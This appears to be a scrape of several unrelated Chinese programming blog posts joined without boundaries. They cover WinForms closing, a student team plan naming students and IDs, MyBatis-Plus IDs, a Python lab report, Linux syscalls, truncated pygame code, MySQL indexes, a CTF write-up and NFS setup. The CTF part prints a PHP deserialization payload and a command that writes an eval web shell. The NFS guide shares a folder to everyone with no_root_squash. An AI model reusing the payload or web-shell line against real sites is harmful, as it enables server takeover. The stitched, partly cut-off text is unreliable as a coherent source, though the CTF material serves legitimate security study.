关闭窗体的四种方法
1. close():指仅关闭当前窗体,如果不是主窗体(包含主线程的窗体,并非MDI窗体)的话,是无法退出整个程序的。如果有托管线程也无法退出。 此方法会调用 dispose() 方法,所以它会自动的帮我们释放内存,除了以下两种情况:(1)该窗体是多文档应用程序(MDI)的一部分并且此窗体不可见;(2)此窗体是“模态”窗体。 close() 方法执行的时候会触发两个事件:Form_Closing 和 Form_Closeed 事件,Form_Closing 是在窗体关闭时执行,Form_Closed 是在窗体关闭之后执行,所以如果想取消关闭窗体,可以在 Form_Closing 事件里取消。
2. Application.Exit(): 强制所有消息中止,退出所有的窗体,但是若有托管线程(非主线程),也无法干净地退出。
3. Application.ExitThread(): 强制中止调用线程上的所有消息,同样面临其它线程无法正确退出的问题。
4. System.Environment.Exit(0); 这是最彻底的退出方式,不管什么线程都被强制退出,把程序结束的很干净。 参数0:代表程序正常退出;参数1:代表程序非正常退出。
close() 和 dispose() 的区别
close():这个方法会自动调用 dispose()方法。 dispose():这个方法的作用是释放组件使用的所有资源,.NET 提供的垃圾自动回收机制,可以帮我们自动回收垃圾对象,可是垃圾回收器只能回收“托管资源”,而不能回收“非托管资源”,而且垃圾回收器也并不是立即回收,而是每隔一段时间才会回收一次,每次回收的时间我们都不知道。 所以 dispose() 方法是为了弥补这种机制所产生的方法,调用 dispose(true) 方法可以释放“托管”和“非托管”资源,而且它可以不必等待垃圾回收器来自动释放,调用此方法可以显示释放资源。
Form.show() 和 Form.ShowDialog() 的区别
From.Show():窗体显示出来的是非模态窗体From.ShowDialog():窗体显示出来的是模态窗体,而且点击窗体右上角的关闭按钮时,它不是调用 close() 方法,而是调用 hide() 方法。所以它并不是真正的关闭,再调用此方法窗体还会出现。而非模态窗体,点击关闭的时候,会调用 close() 方法,再次调用 Show() 方法,就会报错,因为窗体对象已被释放。
托管资源 和 非托管资源
托管资源:由CLR管理分配和释放的资源,即由CLR里new出来的对象非托管资源:不受CLR管理的对象,windows内核对象,如文件、数据库连接、套接字、COM对象等
如果某类型使用到了非托管资源,那么,就需要让此类型继承接口IDisposable。需要显示释放资源,因为垃圾回收器并不会回收非托管资源。
这个作业属于哪个课程 至诚软工实践F班 这个作业要求在哪里 第三次团队作业——项目系统设计与数据库设计 这个作业的目标 完成《系统设计说明书》和《数据库设计说明书》的撰写,设计好系统和数据库、制定好计划和分工,为后续工作开展做出充分准备。 Gitee或Github仓库地址 https://github.com/sweetcat-w/Group3 其他参考文献 暂无 一、团队项目预期开发计划时间安排 周数 团队目标与产出 当前进度 第一周 前端开始初步设计、学习后端开发相关技术 马上完成中 第二周 前端页面完成 未完成 第三周 前端跳转页面架构设计、后端结构初步设计 未完成 第四周 后端数据库等基本配置映射设计 未完成 第五周 后端各模块接口设计 未完成 第六周 后端完成各模块部分功能 未完成 第七周 后端各模块功能完成 未完成 第八周 对功能进行测试并完善BUG 未完成 第九周 商易商品信息管理系统完成 未完成 二、团队项目预期开发计划分工安排 学号 姓名 角色 预期任务分配 212106732 田薇 策划、前、后端 1、页面样式设计2、前后端链接映射跳转3、后端结构设计4、登录模块功能实现5、进货明细模块功能实现6、测试各自模块 212106711 付资婷 后端 1、用户信息管理模块功能实现2、登出模块功能实现3、测试各自模块 212106715 江洁兰 前、后端 1、前后端链接映射跳转2、库存管理模块功能实现3、测试各自模块 212106734 王永淞 后端 1、数据库设计及创建2、供应商管理模块功能实现3、测试各自模块 212106742 肖霆锋 后端 1、进货登记管理模块功能实现 2、测试各自模块 212106721 林建威 后端 1、退货登记管理模块功能实现 2、测试各自模块 三、设计图和设计思路 1、体系结构图 用户结构 管理员结构 2、功能模块层次图 本功能模块层次图分为用户和管理员两个大分支。用户登录后可以使用进货明细模块、进货登记模块、退货登记模块、库存管理模块、供应商管理模块这些对应模块下的所有子功能,管理员登录后可以使用用户信息管理模块的所有功能。 3、类图 4、ER分析 本系统有用户,进货登记表,进货明细表,退货登记表,商品存库表,供应商六个实体,用户和商品库存表之间的关系为一对一,用户和进货登记表、退货登记表之间的关系为一对多,供应商和进货登记、退货登记之间的关系为多对多,进货明细表和进货登记表之间的关系为一对一。
遇到问题的以及处理方式: 问题1: 我们在处理数据库中的id时,没有使用自增,也没有在yml文件中配置:
mybatis-plus: configuration: #在映射实体或者属性时,将数据库中表名和字段名中的下划线去掉,按照驼峰命名法映射 map-underscore-to-camel-case: true log-impl: org.apache.ibatis.logging.stdout.StdOutImpl global-config: db-config: id-type: auto 而在是在项目中,我们直接是使用:
mybatis-plus: configuration: #在映射实体或者属性时,将数据库中表名和字段名中的下划线去掉,按照驼峰命名法映射 map-underscore-to-camel-case: true log-impl: org.apache.ibatis.logging.stdout.StdOutImpl global-config: db-config: id-type: assign_id # 使用雪花算法生成id 其中主要是对id的类型进行修改。
mybatis-plus 的id_type的类型:
解决问题1: 现在有两种方法:
第一种解决方法:对id的数据类型进行修改,数据库实体和返回的对象都用:BigInteger。
因为数据库用的使用bigint对应的java中BigInteger, 并且BigInteger比Long范围更大。
第二种解决方法:使用 @JsonSerialize(using = ToStringSerializer.class) 注解。
// 进行转为String@JsonSerialize(using = ToStringSerializer.class)private Long id; 如是使用的数据类型是BigInteger,依旧不能解决改问题,可以尝试去用第二种解决方法进行处理。
雪花算法: 雪花算法是Twitter开源的分布式ID生成算法,它主要是由64bit的long型生成的全局ID,引入了时间戳和ID保持自增的属性.
64bit分为四个部分: 第一个部分是1bit, 这不 使用,没有意义; 第二个部分是41bit, 组成时间戳; 第三个部分是10bit, 工作机器ID,里面分为两个部分,5个bit是的是机房号,代表最多有2^5即32个机房,5个bit是指机器的ID,代表最多有2^5个机器,即32个机器 . 第四部分是12bit, 代表是同一个毫秒类产生不同的ID,区分同一个毫秒内产生的ID.
总的来说就是一个机房,一台机器,在同一号毫秒时产生的ID,可能在同一秒钟产生不同的ID,最后12bit序列号可以区分在同一秒钟的不同ID.
雪花算法保证:
1.所生成的ID按时间递增 2.整个分布式系统不会有重复的ID
雪花算法优点是:
如 config.php 配置文件设置常量定义
<?php // 如果没有定义 __CONFIG__ 的常量,则不加载此文件 if(!defined('__CONFIG__')) { exit('你不能配置文件'); } 前端载入 config.php必须定义 __CONFIG__ 的常量
define('__CONFIG__', true); require_once config.php;
#学号 20214313 《Python程序设计》实验三报告课程:《Python程序设计》班级: 2143姓名: 冯珂学号:20214313实验教师:王志强实验日期:20224月28日必修/选修: 公选课## 1.实验内容创建服务端和客户端,服务端在特定端口监听多个客户请求。客户端和服务端通过Socket套接字(TCP/UDP)进行通信。
## 2. 实验过程及结果
创建两个py文件。 编写服务端程序
编写客户端程序。
程序中包含文件创建,打开,读写,保存操作。
文件加密
文件传输
解密并保存在文件
程序代码托管到码云。
## 3. 实验过程中遇到的问题和解决过程- 问题1:连接服务器时积极拒绝。- 问题1解决方案:先运行服务器,再运行客户端。
- 问题2:文件出现无法读写的情况。- 问题2解决方案:添加文件操作符。
- 问题3:接收文件出现无法读取的情况。- 问题3解决方案:添加文件操作符,格式字符串与字节转换。
- ...## 其他(感悟、思考等)这次的作业可与根据上课的内容完成大部分,但是有些地方没有听懂,需要自己查资料,尝试。是一次对自己学习的锻炼。也收获了很多,又学会了一个新玩意!
Linux系统调用接口分类整理 进程控制 fork 创建一个新进程 clone 按指定条件创建子进程 execve 运行可执行文件 exit 终止进程 _exit 立即终止当前进程 getdtablesize 进程所能打开的最大文件数 getpgid 获取指定进程组标识号 setpgid 设置指定进程组标志号 getpgrp 获取当前进程组标识号 setpgrp 设置当前进程组标志号 getpid 获取进程标识号 getppid 获取父进程标识号 getpriority 获取调度优先级 setpriority 设置调度优先级 modify_ldt 读写进程的本地描述表 nanosleep 使进程睡眠指定的时间 nice 改变分时进程的优先级 pause 挂起进程,等待信号 personality 设置进程运行域 prctl 对进程进行特定操作 ptrace 进程跟踪 sched_get_priority_max 取得静态优先级的上限 sched_get_priority_min 取得静态优先级的下限 sched_getparam 取得进程的调度参数 sched_getscheduler 取得指定进程的调度策略 sched_rr_get_interval 取得按RR算法调度的实时进程的时间片长度 sched_setparam 设置进程的调度参数 sched_setscheduler 设置指定进程的调度策略和参数 sched_yield 进程主动让出处理器,并将自己等候调度队列队尾 vfork 创建一个子进程,以供执行新程序,常与execve等同时使用 wait 等待子进程终止 wait3 等待子进程终止 waitpid 等待指定子进程终止 wait4 等待指定子进程终止 capget 获取进程权限 capset 设置进程权限 getsid 获取会晤标识号 setsid 设置会晤标识号 文件读写操作 fcntl 文件控制 open 打开文件 creat 创建新文件 close 关闭文件描述字 read 读文件 write 写文件 readv 从文件读入数据到缓冲数组中 writev 将缓冲数组里的数据写入文件 pread 对文件随机读 pwrite 对文件随机写 lseek 移动文件指针 _llseek 在64位地址空间里移动文件指针 dup 复制已打开的文件描述字 dup2 按指定条件复制文件描述字 flock 文件加/解锁 poll I/O多路转换 truncate 截断文件 ftruncate 截断文件 umask 设置文件权限掩码 fsync 把文件在内存中的部分写回磁盘 文件操作系统 access 确定文件的可存取性 chdir 改变当前工作目录 fchdir 改变当前工作目录 chmod 改变文件方式 fhmod 改变文件方式 chown 改变文件的属主或用户组 fhown 改变文件的属主或用户组 lhown 改变文件的属主或用户组 chroot 改变根目录 stat 取文件状态信息 lstat 取文件状态信息 fstat 取文件状态信息 statfs 取文件系统信息 fstatfs 取文件系统信息 readdir 读取目录项 getdents 读取目录项 mkdir 创建目录 mknod 创建索引节点 rmdir 删除目录 rename 文件改名 link 创建链接 symlink 创建符号链接 unlink 删除链接 readlink 读符号链接的值 mount 安装文件系统 umount 卸下文件系统 ustat 取文件系统信息 utime 改变文件的访问修改时间 utimes 改变文件的访问修改时间 quotactl 控制磁盘配额 系统控制 ioctl I/O总控制函数 _sysctl 读/写系统参数 acct 启用或禁止进程记账 getrlimit 获取系统资源上限 setrlimit 设置系统资源上限 getrusage 获取系统资源使用情况 uselib 选择要使用的二进制函数库 ioperm 设置端口I/O权限 iopl 改变进程I/O权限级别 outb 低级端口操作 reboot 重新启动 swapon 打开交换文件和设备 swapoff 打开交换文件和设备 bdflush 控制bdflush守护进程 sysfs 取核心支持的文件系统类型 sysinfo 取得系统信息 adjtimex 调整系统时钟 alarm 设置进程的闹钟 getitimer 获取计时器值 setitimer 设置计时器值 gettimeofday 取时间和时区 settimeofday 设置时间和时区 stime 设置系统日期和时间 time 取得系统时间 times 取进程运行时间 uname 获取当前UNIX系统的名称、版本和主机等信息 vhangup 挂起当前终端 nfsservctl 对NFS守护进程进行控制 vm86 进入模拟8086模式 create_module 创建可装载的模块项 delete_module 删除可装载的模块项 init_module 初始化模块 query_module 查询模块信息 *get_kernel_syms 取得核心符号,已被query_module代替 内存管理 brk 改变数据段空间的分配 sbrk 改变数据段空间的分配 mlock 内存页面加锁 munlock 内存页面解锁 mlockall 调用进程所有内存页面加锁 munlockall 调用进程所有内存页面解锁 mmap 映射虚拟内存页 munmap 去除内存页映射 mremap 重新映射虚拟内存地址 msync 将映射内存中的数据写回磁盘 mprotect 设置内存映像保护 getpagesize 获取页面大小 sync 将内存缓冲区数据写回硬盘 cacheflush 将指定缓冲区中的内容写回磁盘 网络 getdomainname 取域名 setdomainname 设置域名 gethostid 获取主机标识号 sethostid 设置主机标识号 gethostname 获取本主机名称 sethostname 设置主机名称 socket套接字 socketcall socket 系统调用 socket 建立socket bind 绑定socket到端口 connect 连接远程主机 accept 响应socket连接请求 send 通过socket发送信息 sendto 发送UDP信息 sendmsg 通过socket发送信息 recv 通过socket接收信息 recvfrom 接收UDP信息 recvmsg 通过socket接收信息 listen 监听socket端口 select 对多路同步I/O进行轮询 shutdown 关闭socket上的连接 getsockname 取得本地socket名字 getpeername 获取通信对方的socket名字 getsockopt 取端口设置 setsockopt 设置端口参数 sendfile 在文件或端口间传输数据 socketpair 创建一对已联接的无名socket 用户管理 getuid 获取用户标识号 setuid 设置用户标志号 getgid 获取组标识号 setgid 设置组标志号 getegid 获取有效组标识号 setegid 设置有效组标识号 geteuid 获取有效用户标识号 seteuid 设置有效用户标识号 setregid 分别设置真实和有效的的组标识号 setreuid 分别设置真实和有效的用户标识号 getresgid 分别获取真实的,有效的和保存过的组标识号 setresgid 分别设置真实的,有效的和保存过的组标识号 getresuid 分别获取真实的,有效的和保存过的用户标识号 setresuid 分别设置真实的,有效的和保存过的用户标识号 setfsgid 设置文件系统检查时使用的组标识号 setfsuid 设置文件系统检查时使用的用户标识号 getgroups 获取后补组标志清单 setgroups 设置后补组标志清单 进程间通信 ipc 进程间通信总控制调用 sigaction 设置对指定信号的处理方法 sigprocmask 根据参数对信号集中的信号执行阻塞/解除阻塞等操作 sigpending 为指定的被阻塞信号设置队列 sigsuspend 挂起进程等待特定信号 signal 参见signal kill 向进程或进程组发信号 *sigblock 向被阻塞信号掩码中添加信号,已被sigprocmask代替 *siggetmask 取得现有阻塞信号掩码,已被sigprocmask代替 *sigsetmask 用给定信号掩码替换现有阻塞信号掩码,已被sigprocmask代替 *sigmask 将给定的信号转化为掩码,已被sigprocmask代替 *sigpause 作用同sigsuspend,已被sigsuspend代替 sigvec 为兼容BSD而设的信号处理函数,作用类似sigaction ssetmask ANSI C的信号处理函数,作用类似sigaction 消息 msgctl 消息控制操作 msgget 获取消息队列 msgsnd 发消息 msgrcv 取消息 管道 pipe 创建管道 信号量 semctl 信号量控制 semget 获取一组信号量 semop 信号量操作 共享内存 shmctl 控制共享内存 shmget 获取共享内存 shmat 连接共享内存 shmdt 拆卸共享内存
import sysimport pygame#使用pygame之前必须初始化pygame.init()#设置主屏窗口screen = pygame.display.set_mode((400,400))#设置窗口标题pygame.display.set_caption('')# source = pygame.Surface((50, 50), flags=pygame.HWSURFACE)# 如果没有下列主循环代码,运行结果会一闪而过x0, y0 = 0,0x1, y1 = 50, 50x2, y2 = 150, 150x3, y3 = 200, 200x4, y4 = 0, 200x5, y5 = 50, 150x6, y6 = 200, 0x7, y7 = 150, 50w,w1 = 200,100x,y = 0,0xx,yy = 50,50# 更新屏幕内容pygame.display.flip()while True: # #填充主窗口的背景颜色,参数值RGB(颜色元组) screen.fill((255, 255, 255)) # 循环获取事件,监听事件 for event in pygame.event.get(): # 判断用户是否点了关闭按钮 if event.type == pygame.QUIT: #卸载所有模块 pygame.quit() #终止程序 sys.
在讨论这个问题之前我们先看一个例子,假设有一张 user 表,表里面有 5 个字段,分别是 id、name、age、height、gender
如果要执行 select * from user where height = 175 那么具体应该怎么查呢?
我们需要从表的第一行开始一行一行的遍历比对 height 的值是否等于 175,当比对到第三行的时候发现终于找到了 height = 175 的数据,找到了之后就结束了吗?答案是否定的,因为你不能确定这张表里面还有没有其它的行记录中存在 height = 175 的数据,你还得继续一行一行的遍历,直到把整张表全部遍历完为止,这个过程就是全表扫描,幸运的是你的表里面只有 18 行数据,等你遍历完 18 行记录拿到你想要的结果并返回的时候,耗费的时间并不会很长,可是如果你的表里面有几百万的数据呢?你这样全表扫描性能是不是会很差呢?
那么有没有什么比较好的方法解决呢,学过数据结构的同学应该知道,利用数据结构的特性可以帮助我们大大减少查找遍历次数,索引就是使用比较巧妙的数据结构来帮助我们进行快速查找的
先看一下索引的定义
索引是帮助 Mysql 高效获取数据的一种有序的数据结构(索引是一种数据结构,并且这种数据结构还是按照某种规则排好了序的)
既然索引是一种数据结构,那么 Mysql 索引的底层选取的是哪种数据结构呢?
索引可选的数据结构有
二叉树 红黑树 哈希表 B 树 B+ 树 1、二叉树
假设我们以 height 作为索引,使用二叉树作为索引的数据结构,看看需要多少次才能获取到需要的数据
下面的图是通过国外的一个模拟数据结构的网站生成出来的二叉树结构(https://www.cs.usfca.edu/~galles/visualization/Algorithms.html)
通过二叉树这种数据结构可以减少查询的次数,上图中最极端的情况就是查询 select * from user where height = 178 ,会进行 8 次遍历,虽然遍历的次数很多,但是想比于全表扫描的 18 次来说还是快上不少的,那么 Mysql 底层的数据结构就是二叉树?
[NPUCTF2020]ReadlezPHP WriteUp 知识点 反序列化 可变函数 题解 很简单,直接上最后的payload。
?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D 没有编码是: O:8:HelloPhp:2:{s:1:a;s:10:phpinfo();;s:1:b;s:6:assert;} 但是我想通过这道题总结一下可执行命令函数和可变函数。 理解为什么不用 eval(phpinfo());
执行外部命令的函数 exec()
php会操控计算机执行计算机命令,且获取最后一行数据,没有回显,需要echo输出
<?php echo exec('ipconfig');?> shell_exec()
system()
会操作计算机执行计算机命令,如果Linux,执行Bash命令,如果Windows执行cmd命令
<?php system(whoami);?> 写入shell <?php system('echo <?php eval($_REQUEST[8]);?> > 123.php');?> passthru() 只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。
system() 输出并返回最后一行shell结果。 exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。 passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。 相同点:都可以获得命令执行的状态码
https://blog.csdn.net/u013457167/article/details/80602263
一、Ubuntu环境下安装客户端与服务器 nfs服务是实现Linux和Linux之间的文件共享,nfs服务的搭建比较简单。 现在介绍如何在ubuntu16.04系统中搭建nfs服务
安装nfs客户端: sudo apt-get install nfs-common
安装服务器端:
sudo apt-get install nfs-kernel-server
修改配置文件
sudo vim /etc/exports
修改内容如下:
/home/pp/nfsShare *(rw,sync,no_root_squash)
设置nfsShare为服务器共享文件夹,所有网段用户可以访问,非root用户也可读写并同步
各段表达的意思如下
/home :共享的目录 * :指定哪些用户可以访问 * 所有可以ping同该主机的用户 192.168.2.* 指定网段,在该网段中的用户可以挂载 192.168.2.12 只有该用户能挂载 (ro,sync,no_root_squash): 权限 ro : 只读 rw : 读写 sync : 同步 no_root_squash: 不降低root用户的权限 其他选项man 5 exports 查看 重启nfs服务
sudo /etc/init.d/nfs-kernel-server restart
查看挂载
showmount -e
二、客户端如何访问服务器 1、检查客户端和服务端的网络是否连通(ping命令)
配置本机ip ifconfig eth0 192.168.2.123 ping + 服务器IP ping 192.168.2.253